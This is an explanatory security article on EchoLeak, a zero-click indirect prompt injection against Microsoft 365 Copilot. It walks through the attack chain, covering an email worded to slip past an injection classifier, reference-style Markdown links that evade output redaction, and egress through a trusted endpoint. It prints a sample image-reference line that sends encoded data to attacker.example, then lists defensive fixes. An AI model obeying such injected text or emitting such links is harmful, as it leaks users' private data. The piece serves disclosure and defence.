Microsoft 365 Copilot answers questions from work a person is already allowed to see. That design is also what made EchoLeak possible. In June 2025, Aim Security (then Aim Labs) disclosed CVE-2025-32711, a critical vulnerability it described as the first zero-click AI vulnerability. Reported to Microsoft in January 2025, it was fixed server-side in May 2025, with no evidence of exploitation in the wild. The patch closed one chain, not the architectural question behind it: when an assistant can read almost everything, and can produce output that a client will fetch, who is really giving the instructions?

The system Copilot actually is

Copilot is a retrieval system wrapped around a language model, with Microsoft Graph as its data plane. A question triggers retrieval from sources the user can access — mailbox, OneDrive, SharePoint, and Teams — and those results enter the model’s context before it generates an answer with links, citations, and rendered Markdown.

Three properties matter. Retrieval is relevance-driven, not trust-driven: a document is selected because it matches the question, not because its author is trusted. The permission model is inherited, so Copilot can use sensitive material the user can access. And output is not inert text: in a rich client, Markdown can become a link, image, or preview request, so a rendered answer can cause a network fetch even if the user clicks nothing. The attacker needed no credentials, no server compromise, and no action from the victim.

The attack chain, step by step

1. Delivery without interaction

The attacker sent an ordinary-looking email, written as if addressed to the human recipient, for example as an onboarding notice. It did not mention Copilot or AI. Microsoft used a cross-prompt injection classifier, often described as XPIA, to detect instructions aimed at the model, but instructions phrased as human-directed business content were less likely to be flagged. The victim did not need to open the email; it only needed to sit in a mailbox Copilot could retrieve from.

2. Retrieval pulls the attacker into context

Later, when the user asked an unrelated business question, retrieval selected the attacker’s email as relevant context. The model then received the legitimate question and untrusted text from an external sender in the same context window, with no native, reliable marker separating “text to follow” from “text to summarise.” That ambiguity is the core of indirect prompt injection. Aim Security called the failure an LLM scope violation: untrusted content caused the model to use privileged data in a way the user never authorised.

3. Output filtering misses a second Markdown syntax

Copilot’s output controls redacted suspicious links, but did not cover every Markdown form equally. Inline links [text](url) were handled; reference-style links were missed. There, visible text and destination are separated:

![resource][exfil]

[exfil]: https://attacker.example/collect?data=<encoded-context>

The first line looks like an ordinary image reference; the second supplies the destination. By instructing Copilot to encode retrieved context into that destination, the attacker turned the answer itself into a carrier. Data left through rendering, not through an obvious external-send tool call.

4. A trusted endpoint becomes the egress route

The final stage used a Microsoft-owned URL path associated with Teams content, already allowed by the application’s content security policy. Routing through a trusted endpoint did not make the destination safe; it made the request look normal. The client fetched the reference, and the encoded data reached attacker-controlled infrastructure.

No single stage was exotic. The vulnerability was the composition: untrusted input, privileged context, and an outbound channel in one session, with no step that re-checked provenance before data left.

Why classifiers and filters were not enough

EchoLeak is often described as a bypass. It was not only a failure to detect a bad string; it was a failure of boundaries.

A classifier can reduce how often hostile instructions reach the model, but it cannot reliably distinguish an instruction from a description of one, a quotation, or a business process that legitimately contains imperative language. An email saying “send the onboarding checklist to the new hire” may be normal in one context and an attack in another, and the classifier must decide without knowing the sender’s intent.

Output filtering has a similar limit. A filter that understands one Markdown syntax but not another is a parser with an incomplete grammar, not a security boundary. Where output can trigger a fetch, every rendering syntax, preview path, and proxy route is part of the attack surface.

Most importantly, the system treated retrieval as reading. In an assistant, retrieval is closer to execution: retrieved text influences what the model does next, what it quotes, and what it embeds in its answer. Controls applied only at input, or only at the final link, miss the point at which untrusted text becomes an instruction.

What the fix did and did not settle

Microsoft’s server-side fix removed the specific chain, and because the service is centrally operated, customers did not need to apply a patch themselves. The public record, however, contains less detail about the internal controls that changed than an on-premises patch would normally reveal.

The durable conclusion is narrower: the vulnerability class remains. Any assistant combining broad access to private data, ingestion of third-party content, and a network-reachable output channel has the same three legs. Removing one leg breaks the chain; leaving all three in place and relying on detection invites the next variant. That is why EchoLeak became a reference case: a concrete, production example of indirect prompt injection with zero-click delivery and exfiltration through the assistant’s own rendering path.

Defensive remediation

The controls that matter are structural.

Separate provenance from content. Tag retrieved material by source and trust level, and carry that tag through the pipeline. If an instruction came from retrieved content, it should never authorise sending data, changing access, or fetching an external resource.

Treat rendering as an action. Do not auto-fetch images, previews, or link targets from model output. Render external references as plain text until a user approves them, or restrict fetching to domains the organisation controls. If a trusted proxy is used, it must inspect the final destination, not merely the first hop.

Scope retrieval and egress independently. An assistant that can read a mailbox should not automatically be able to send its contents to the internet. Retrieval, tool, and egress scope should be audited separately. For high-sensitivity tenants, disable external content in answers, or require review before retrieved data is rendered with active links.

Log the full chain, not just the prompt. Record which documents were retrieved, who supplied them, and which output URLs were fetched. A prompt log alone will not reconstruct this chain, because the malicious instruction arrived before the user asked anything.

Test with poisoned retrieval, not only hostile prompts. Place crafted content in mailboxes and shared drives, then ask ordinary questions. If data can still leave with no direct attack prompt, the boundary has not been fixed.

EchoLeak did not prove that enterprise assistants are unusable. It proved they cannot be secured by treating the model as the perimeter. The perimeter must include retrieval, provenance, rendering, and egress: in an assistant, those are the attack path.